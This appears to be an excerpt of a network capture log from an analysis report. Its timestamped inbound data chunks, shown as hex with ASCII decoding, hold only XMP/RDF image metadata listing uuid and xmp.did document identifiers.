2022-07-20 17:31:06 UTC	3603	IN	Data Raw: 37 36 34 43 41 43 38 45 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 33 43 39 35 35 37 31 45 31 39 33 44 45 31 31 41 34 38 41 41 46 36 32 30 36 35 41 44 44 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 34 30 41 46 41 32 46 44 44 36 31 44 45 31 31 39 37 36 34 44 31 33 42 43 31 36 33 43 38 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 34 32 39 39 38 39 38 30 46 32 32 44 45 31 31 39 44 31 31 41 42 34 44 42 35 34 30 36 33 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 34 37 30 35 33 46 37 42 33 38 41 44 42 31 31 38 32 46 41 42 33 46 31 38 46 32 35 38 37 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 34 Data Ascii: 764CAC8EAE</rdf:li> <rdf:li>uuid:43C95571E193DE11A48AAF62065ADD7D</rdf:li> <rdf:li>uuid:440AFA2FDD61DE119764D13BC163C8FD</rdf:li> <rdf:li>uuid:442998980F22DE119D11AB4DB5406349</rdf:li> <rdf:li>uuid:447053F7B38ADB1182FAB3F18F258787</rdf:li> <rdf:li>uuid:44
2022-07-20 17:31:06 UTC	5015	IN	Data Raw: 75 75 69 64 3a 37 35 33 30 39 42 42 39 31 34 31 30 44 46 31 31 38 38 46 46 44 44 42 46 46 37 45 46 31 36 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 35 35 46 46 44 35 32 39 39 42 37 44 46 31 31 42 46 31 32 38 38 43 42 41 32 39 42 30 32 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 36 31 37 38 30 33 38 38 39 39 42 45 31 31 31 39 33 36 38 42 36 37 38 44 46 32 31 45 39 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 36 32 43 42 39 45 36 45 43 43 39 45 30 31 31 39 41 42 32 44 45 34 30 42 32 33 39 42 42 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 37 36 33 33 32 36 36 30 37 36 46 41 45 30 31 31 41 43 33 31 46 46 35 32 45 46 39 42 37 41 Data Ascii: uuid:75309BB91410DF1188FFDDBFF7EF16EC</rdf:li> <rdf:li>uuid:755FFD5299B7DF11BF1288CBA29B026C</rdf:li> <rdf:li>uuid:76178038899BE1119368B678DF21E95C</rdf:li> <rdf:li>uuid:762CB9E6ECC9E0119AB2DE40B239BB14</rdf:li> <rdf:li>uuid:7633266076FAE011AC31FF52EF9B7A
2022-07-20 17:31:06 UTC	5022	IN	Data Raw: 45 43 30 38 32 37 30 35 41 44 33 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 44 36 32 45 35 43 35 46 39 34 36 44 46 31 31 41 31 41 43 42 43 32 43 44 36 36 30 43 32 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 44 44 35 32 33 38 31 42 43 36 30 31 31 44 42 39 36 35 31 43 43 39 33 31 44 39 38 45 43 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 45 30 34 46 43 30 35 30 36 42 39 44 42 31 31 42 31 43 36 42 46 39 32 31 35 35 39 46 35 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 45 30 37 42 33 31 42 37 31 34 46 44 45 31 31 42 44 38 43 44 38 42 34 36 30 31 34 45 35 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 Data Ascii: EC082705AD383</rdf:li> <rdf:li>uuid:8D62E5C5F946DF11A1ACBC2CD660C212</rdf:li> <rdf:li>uuid:8DD52381BC6011DB9651CC931D98ECA8</rdf:li> <rdf:li>uuid:8E04FC0506B9DB11B1C6BF921559F555</rdf:li> <rdf:li>uuid:8E07B31B714FDE11BD8CD8B46014E57A</rdf:li> <rdf:li>uuid
2022-07-20 17:31:06 UTC	5038	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 33 43 30 31 46 42 33 34 37 37 33 44 46 31 31 42 34 32 37 38 37 33 35 36 39 45 32 45 45 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 33 43 46 46 35 41 39 41 41 46 39 31 31 44 42 41 32 33 37 39 42 45 37 34 37 30 34 45 32 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 33 44 39 33 33 44 34 42 38 38 34 44 44 31 31 41 39 31 46 45 31 36 37 46 43 36 45 37 38 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 34 30 44 38 30 33 37 46 42 33 42 44 45 31 31 38 43 37 42 46 32 30 39 44 44 39 42 36 35 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 34 35 32 38 36 46 32 31 44 35 32 31 31 Data Ascii: rdf:li> <rdf:li>uuid:C3C01FB34773DF11B427873569E2EE87</rdf:li> <rdf:li>uuid:C3CFF5A9AAF911DBA2379BE74704E200</rdf:li> <rdf:li>uuid:C3D933D4B884DD11A91FE167FC6E785F</rdf:li> <rdf:li>uuid:C40D8037FB3BDE118C7BF209DD9B6546</rdf:li> <rdf:li>uuid:C45286F21D5211
2022-07-20 17:31:06 UTC	5054	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 35 41 34 33 39 32 43 39 37 45 34 31 31 39 43 41 33 38 35 33 37 38 32 32 44 30 30 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 42 39 30 38 37 30 45 32 30 36 38 31 31 38 38 43 36 45 33 32 37 36 43 30 43 43 38 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 34 61 61 38 35 65 2d 62 39 61 39 2d 34 33 37 33 2d 62 63 34 33 2d 61 39 61 65 37 39 61 63 36 65 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 30 35 35 34 43 33 35 38 38 38 35 45 33 31 31 39 43 41 39 44 45 44 36 41 31 45 38 34 43 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: df:li> <rdf:li>xmp.did:0045A4392C97E4119CA38537822D00A8</rdf:li> <rdf:li>xmp.did:004B90870E20681188C6E3276C0CC89A</rdf:li> <rdf:li>xmp.did:004aa85e-b9a9-4373-bc43-a9ae79ac6e90</rdf:li> <rdf:li>xmp.did:00554C358885E3119CA9DED6A1E84C85</rdf:li> <rdf:li>xmp.
2022-07-20 17:31:06 UTC	5062	IN	Data Raw: 32 42 30 46 35 30 34 44 42 41 33 37 39 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 45 37 41 36 41 32 38 31 42 31 32 35 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 38 31 30 43 43 45 32 31 44 43 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 38 34 36 46 44 38 44 33 33 46 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 42 35 42 31 35 38 46 33 39 30 33 41 3c 2f 72 64 66 3a 6c 69 Data Ascii: 2B0F504DBA379FC</rdf:li> <rdf:li>xmp.did:018011740720681192E7A6A281B12522</rdf:li> <rdf:li>xmp.did:01801174072068119457810CCE21DC48</rdf:li> <rdf:li>xmp.did:01801174072068119457846FD8D33F4D</rdf:li> <rdf:li>xmp.did:01801174072068119457B5B158F3903A</rdf:li
2022-07-20 17:31:06 UTC	5078	IN	Data Raw: 37 32 30 36 38 31 31 41 37 33 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 38 45 41 34 41 39 43 38 43 43 44 36 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 41 39 41 35 38 42 39 32 42 31 46 33 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 38 34 30 42 41 42 39 30 41 35 38 39 42 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 39 41 38 43 42 32 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 Data Ascii: 7206811A732EB610C85D7A5</rdf:li> <rdf:li>xmp.did:0480117407206811A78EA4A9C8CCD6DA</rdf:li> <rdf:li>xmp.did:0480117407206811ABA9A58B92B1F3E5</rdf:li> <rdf:li>xmp.did:0480117407206811B840BAB90A589B41</rdf:li> <rdf:li>xmp.did:049A8CB20720681192B0E90D048EA72C
2022-07-20 17:31:06 UTC	5094	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 41 36 44 37 37 45 30 41 34 41 35 44 46 31 31 38 36 33 44 44 38 45 30 32 37 30 32 45 44 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 41 37 31 41 35 43 46 46 38 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 41 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 39 31 46 38 39 43 38 33 45 41 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 41 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 41 31 41 33 42 35 33 37 42 44 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 Data Ascii: /rdf:li> <rdf:li>xmp.did:0A6D77E0A4A5DF11863DD8E02702EDA7</rdf:li> <rdf:li>xmp.did:0A71A5CFF82068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:0A80117407206811808391F89C83EA2B</rdf:li> <rdf:li>xmp.did:0A801174072068118083A1A3B537BDE7</rdf:li> <rdf:li>xmp.di
2022-07-20 17:31:06 UTC	5102	IN	Data Raw: 36 31 37 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 30 65 34 32 30 39 31 2d 30 38 32 63 2d 64 66 34 34 2d 38 61 37 66 2d 61 37 62 65 39 33 33 38 31 35 30 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 30 65 64 39 33 38 63 2d 37 30 37 62 2d 34 63 61 36 2d 38 66 64 36 2d 61 32 63 38 37 38 30 63 39 62 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 30 66 37 32 31 65 33 2d 66 63 33 37 2d 34 30 30 64 2d 62 65 38 34 2d 33 65 65 66 36 34 61 36 62 38 39 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 31 32 45 45 33 44 46 35 45 32 30 36 38 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c Data Ascii: 617c</rdf:li> <rdf:li>xmp.did:10e42091-082c-df44-8a7f-a7be9338150b</rdf:li> <rdf:li>xmp.did:10ed938c-707b-4ca6-8fd6-a2c8780c9b32</rdf:li> <rdf:li>xmp.did:10f721e3-fc37-400d-be84-3eef64a6b89f</rdf:li> <rdf:li>xmp.did:112EE3DF5E2068118083E18EC590233A</rdf:l
2022-07-20 17:31:06 UTC	5118	IN	Data Raw: 36 34 34 66 39 34 66 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 31 37 41 36 36 38 39 34 41 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 31 38 30 63 62 63 61 2d 33 34 34 65 2d 34 37 39 38 2d 39 61 38 30 2d 31 38 64 63 32 63 61 36 39 65 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 31 38 37 43 39 46 45 32 46 32 30 36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 31 38 39 33 44 32 31 34 30 37 42 45 30 31 31 42 38 44 30 45 43 30 41 37 44 39 41 33 38 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: 644f94fe</rdf:li> <rdf:li>xmp.did:217A66894A206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:2180cbca-344e-4798-9a80-18dc2ca69e56</rdf:li> <rdf:li>xmp.did:2187C9FE2F2068119A82FE2ACBC57436</rdf:li> <rdf:li>xmp.did:21893D21407BE011B8D0EC0A7D9A38F3</rdf:li> <
2022-07-20 17:31:06 UTC	5134	IN	Data Raw: 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 33 39 38 33 37 42 38 33 44 45 45 31 31 31 38 30 42 38 46 39 37 42 39 38 41 36 35 45 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 34 30 37 35 34 42 31 32 32 34 31 31 45 31 38 45 31 44 44 43 41 44 46 37 41 37 35 46 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 35 45 35 35 45 39 39 46 32 41 45 30 31 31 41 36 44 32 41 44 37 35 41 42 46 39 41 39 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 35 45 41 36 38 46 38 30 37 32 45 30 31 31 41 31 36 39 39 38 45 45 39 32 36 31 45 44 36 34 3c 2f 72 64 66 3a 6c 69 3e Data Ascii: 2A9E418F455C5D</rdf:li> <rdf:li>xmp.did:3039837B83DEE11180B8F97B98A65E63</rdf:li> <rdf:li>xmp.did:3040754B122411E18E1DDCADF7A75FE5</rdf:li> <rdf:li>xmp.did:305E55E99F2AE011A6D2AD75ABF9A9C0</rdf:li> <rdf:li>xmp.did:305EA68F8072E011A16998EE9261ED64</rdf:li>
2022-07-20 17:31:07 UTC	6869	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 33 36 64 36 64 62 36 61 2d 39 37 35 32 2d 34 65 66 62 2d 62 37 35 62 2d 37 34 38 39 35 37 64 32 66 38 63 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 66 61 35 63 36 30 2d 38 34 65 33 2d 34 37 31 64 2d 61 31 66 66 2d 33 33 32 62 66 34 35 61 34 30 64 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 30 31 41 43 39 31 30 39 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 30 33 35 34 36 41 43 43 37 37 45 31 31 31 41 37 44 39 45 39 39 39 30 30 36 34 34 37 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 37 30 34 45 36 46 Data Ascii: xmp.did:36d6db6a-9752-4efb-b75b-748957d2f8cc</rdf:li> <rdf:li>xmp.did:36fa5c60-84e3-471d-a1ff-332bf45a40da</rdf:li> <rdf:li>xmp.did:3701AC91092068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:3703546ACC77E111A7D9E999006447CD</rdf:li> <rdf:li>xmp.did:3704E6F
2022-07-20 17:31:07 UTC	6885	IN	Data Raw: 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 36 32 35 42 42 31 44 37 33 32 30 36 38 31 31 38 46 36 32 45 31 35 32 30 45 42 46 32 34 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 36 32 36 31 39 42 39 36 30 32 32 36 38 31 31 38 32 32 41 44 38 34 42 34 41 39 33 39 46 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 36 33 32 33 41 34 33 31 32 32 30 36 38 31 31 38 41 36 44 38 43 36 44 46 41 39 39 38 34 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 36 34 33 35 41 38 43 31 36 32 30 36 38 31 31 39 32 42 30 41 33 38 35 41 46 36 33 37 38 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: 9B110C</rdf:li> <rdf:li>xmp.did:4625BB1D732068118F62E1520EBF2401</rdf:li> <rdf:li>xmp.did:462619B960226811822AD84B4A939F21</rdf:li> <rdf:li>xmp.did:46323A43122068118A6D8C6DFA998411</rdf:li> <rdf:li>xmp.did:46435A8C1620681192B0A385AF637876</rdf:li> <rdf:li
2022-07-20 17:31:07 UTC	6901	IN	Data Raw: 33 43 39 35 37 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 46 44 38 36 35 44 36 35 32 31 36 38 31 31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 66 34 62 35 62 30 2d 32 31 36 38 2d 34 35 30 33 2d 38 30 33 63 2d 34 39 34 64 63 36 39 30 37 65 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 35 31 35 31 31 39 38 2d 31 30 35 35 2d 62 34 34 35 2d 61 66 31 64 2d 62 31 30 31 63 30 36 30 62 66 37 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 35 32 37 35 39 61 38 2d 33 61 65 33 2d 34 33 32 39 2d 61 62 63 33 2d 38 63 62 36 61 36 64 61 65 31 33 63 3c 2f 72 64 Data Ascii: 3C95755</rdf:li> <rdf:li>xmp.did:54FD865D65216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:54f4b5b0-2168-4503-803c-494dc6907e04</rdf:li> <rdf:li>xmp.did:55151198-1055-b445-af1d-b101c060bf7a</rdf:li> <rdf:li>xmp.did:552759a8-3ae3-4329-abc3-8cb6a6dae13c</rd
2022-07-20 17:31:07 UTC	6909	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 35 45 44 41 45 38 33 35 34 32 32 30 36 38 31 31 39 31 30 39 42 34 42 43 41 46 46 44 39 45 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 46 30 30 37 39 44 38 32 39 32 30 36 38 31 31 42 31 41 34 44 35 36 36 30 30 44 39 31 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 46 30 38 45 43 33 35 37 44 32 30 36 38 31 31 38 30 38 33 43 37 45 39 41 42 30 44 33 33 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 46 30 39 44 41 45 31 42 30 46 43 44 46 31 31 42 43 30 42 39 39 35 39 43 42 34 31 33 37 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 46 30 41 30 30 30 33 42 38 34 33 45 33 Data Ascii: >xmp.did:5EDAE835422068119109B4BCAFFD9E04</rdf:li> <rdf:li>xmp.did:5F0079D829206811B1A4D56600D919C7</rdf:li> <rdf:li>xmp.did:5F08EC357D2068118083C7E9AB0D332A</rdf:li> <rdf:li>xmp.did:5F09DAE1B0FCDF11BC0B9959CB4137F4</rdf:li> <rdf:li>xmp.did:5F0A0003B843E3
2022-07-20 17:31:07 UTC	6925	IN	Data Raw: 2e 64 69 64 3a 36 43 35 38 32 45 37 38 30 37 32 30 36 38 31 31 38 32 32 41 44 35 45 39 31 30 33 42 38 38 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 43 36 42 38 32 30 45 33 34 32 33 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 43 36 44 45 34 35 34 35 42 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 43 37 38 34 42 45 33 35 38 32 37 36 38 31 31 39 39 45 37 43 41 38 34 43 38 30 30 42 30 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 43 38 34 46 39 32 44 31 38 36 38 44 46 31 31 42 38 Data Ascii: .did:6C582E7807206811822AD5E9103B880C</rdf:li> <rdf:li>xmp.did:6C6B820E34236811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:6C6DE4545B206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:6C784BE35827681199E7CA84C800B0C4</rdf:li> <rdf:li>xmp.did:6C84F92D1868DF11B8
2022-07-20 17:31:07 UTC	6941	IN	Data Raw: 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 42 42 36 36 36 38 34 35 42 32 32 36 38 31 31 41 42 30 38 41 45 32 39 31 35 37 34 33 45 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 42 43 34 37 44 36 42 39 44 32 30 36 38 31 31 38 30 38 33 46 39 44 33 44 31 30 32 44 37 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 42 46 46 30 39 43 31 31 34 32 30 36 38 31 31 38 44 42 42 43 45 39 41 46 34 45 30 42 46 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 43 30 30 34 31 37 30 43 41 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f Data Ascii: 56811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:7BB666845B226811AB08AE2915743EEA</rdf:li> <rdf:li>xmp.did:7BC47D6B9D2068118083F9D3D102D7DD</rdf:li> <rdf:li>xmp.did:7BFF09C1142068118DBBCE9AF4E0BFCD</rdf:li> <rdf:li>xmp.did:7C004170CA2068118A6D9903F66D8554</
2022-07-20 17:31:07 UTC	6949	IN	Data Raw: 39 30 31 42 38 30 41 32 30 36 38 31 31 38 32 32 41 44 35 45 39 31 30 33 42 38 38 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 46 38 37 37 42 38 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 64 61 30 66 35 31 2d 63 38 35 33 2d 34 34 35 66 2d 39 62 34 35 2d 35 66 34 35 64 65 65 61 37 38 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 66 31 36 65 36 33 2d 66 32 65 35 2d 34 35 30 31 2d 38 61 33 65 2d 31 65 32 39 64 33 62 31 30 37 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 33 30 32 45 34 38 37 34 44 32 30 36 38 31 31 41 37 Data Ascii: 901B80A206811822AD5E9103B880C</rdf:li> <rdf:li>xmp.did:82F877B80720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:82da0f51-c853-445f-9b45-5f45deea7822</rdf:li> <rdf:li>xmp.did:82f16e63-f2e5-4501-8a3e-1e29d3b10728</rdf:li> <rdf:li>xmp.did:8302E4874D206811A7
2022-07-20 17:31:07 UTC	6965	IN	Data Raw: 30 36 31 35 39 33 41 39 32 31 36 38 31 31 38 46 36 32 41 30 46 44 44 38 46 41 33 37 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 31 33 34 41 33 35 32 44 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 32 31 45 45 30 31 44 44 46 41 45 34 31 31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 32 36 44 34 41 43 31 42 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 30 32 41 39 30 44 37 32 32 32 30 36 38 31 31 38 43 31 34 46 35 41 43 37 Data Ascii: 061593A92168118F62A0FDD8FA37F2</rdf:li> <rdf:li>xmp.did:90134A352D2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:9021EE01DDFAE4118E64F201E00EEC2A</rdf:li> <rdf:li>xmp.did:9026D4AC1B2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:902A90D7222068118C14F5AC7
